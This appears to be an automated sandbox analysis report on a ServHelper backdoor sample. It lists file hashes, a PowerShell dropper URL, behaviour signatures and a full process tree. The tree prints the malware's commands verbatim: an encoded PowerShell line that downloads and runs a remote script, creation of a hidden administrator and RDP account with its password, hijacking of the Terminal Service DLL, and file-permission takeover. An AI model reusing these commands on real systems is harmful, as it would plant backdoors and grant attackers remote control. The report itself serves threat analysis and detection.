Analysis

  • max time kernel
    147s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    26-11-2021 10:11

General

  • Target

    d97a38c3bea371da6d9dfaee99ed039d.exe

  • Size

    4.3MB

  • MD5

    d97a38c3bea371da6d9dfaee99ed039d

  • SHA1

    1fec3033a83b2ceea2f34bf81fc0929d2570fbdd

  • SHA256

    df9df29f3c0d3af0e23a5f32be956469661f8f4006162442737452f5c5709744

  • SHA512

    781c60f7af50fd41985afec6a8cc994656505c676a83624e624821a999a92bbb7d0924e06cd4171dbcbed436d34bfae5c865c9b9b6d31acb0f3c48877e34ea1d

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe
    "C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\08to2xsv.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1972
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3757.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3736.tmp"
          4⤵
            PID:1068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1068
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1128
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:888
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1828
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:284
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:560
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1208
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1460
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1740
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:884
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1440
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1628
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1112
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1260
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1600
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1396
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:984
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:760
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1488
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1704
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1524
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1756
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1576
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1636
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1780
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:840
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc ubO3NKsI /add
                                  1⤵
                                    PID:1212
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc ubO3NKsI /add
                                      2⤵
                                        PID:1728
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc ubO3NKsI /add
                                          3⤵
                                            PID:1828
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1900
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1896
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1940
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                              1⤵
                                                PID:992
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                  2⤵
                                                    PID:952
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                      3⤵
                                                        PID:1140
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:552
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1600
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1608
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc ubO3NKsI
                                                          1⤵
                                                            PID:1640
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc ubO3NKsI
                                                              2⤵
                                                                PID:1568
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc ubO3NKsI
                                                                  3⤵
                                                                    PID:1612
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1660
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1212
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1940
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1652
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1140
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1404
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1964

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/324-60-0x00000000410B7000-0x00000000410B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/324-59-0x00000000410B6000-0x00000000410B7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/324-57-0x00000000410B2000-0x00000000410B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/324-58-0x00000000410B4000-0x00000000410B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/324-55-0x00000000413C0000-0x000000004164B000-memory.dmp

                                                                        Filesize

                                                                        2.5MB

                                                                      • memory/1000-99-0x0000000002867000-0x0000000002868000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1000-97-0x0000000002862000-0x0000000002864000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1000-100-0x000000000286C000-0x000000000288B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1000-94-0x000007FEEA8C0000-0x000007FEEB41D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1000-95-0x000000001B7C0000-0x000000001BABF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1000-96-0x0000000002860000-0x0000000002862000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1000-98-0x0000000002864000-0x0000000002867000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1004-89-0x0000000002807000-0x0000000002808000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1004-88-0x0000000002804000-0x0000000002807000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1004-86-0x0000000002800000-0x0000000002802000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1004-90-0x000000000280C000-0x000000000282B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1004-84-0x000007FEEA8C0000-0x000007FEEB41D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1004-85-0x000000001B980000-0x000000001BC7F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1004-87-0x0000000002802000-0x0000000002804000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1156-106-0x000000001B950000-0x000000001BC4F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1156-105-0x000007FEEA8C0000-0x000007FEEB41D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1156-110-0x0000000001F84000-0x0000000001F87000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1156-109-0x0000000001F8C000-0x0000000001FAB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1156-108-0x0000000001F82000-0x0000000001F84000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1156-107-0x0000000001F80000-0x0000000001F82000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1156-111-0x0000000001F87000-0x0000000001F88000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1932-68-0x00000000028FB000-0x000000000291A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1932-63-0x000007FEEA8C0000-0x000007FEEB41D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1932-64-0x00000000028F0000-0x00000000028F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1932-62-0x000007FEFBB71000-0x000007FEFBB73000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1932-67-0x000000001B710000-0x000000001BA0F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1932-65-0x00000000028F2000-0x00000000028F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1932-80-0x000000000291D000-0x000000000291E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1932-66-0x00000000028F4000-0x00000000028F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1964-156-0x000007FEEA8C0000-0x000007FEEB41D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1964-157-0x00000000012D0000-0x00000000012D2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1964-158-0x00000000012D2000-0x00000000012D4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1964-159-0x00000000012D4000-0x00000000012D7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1964-160-0x00000000012DB000-0x00000000012FA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1972-79-0x00000000021C0000-0x00000000021C2000-memory.dmp

                                                                        Filesize

                                                                        8KB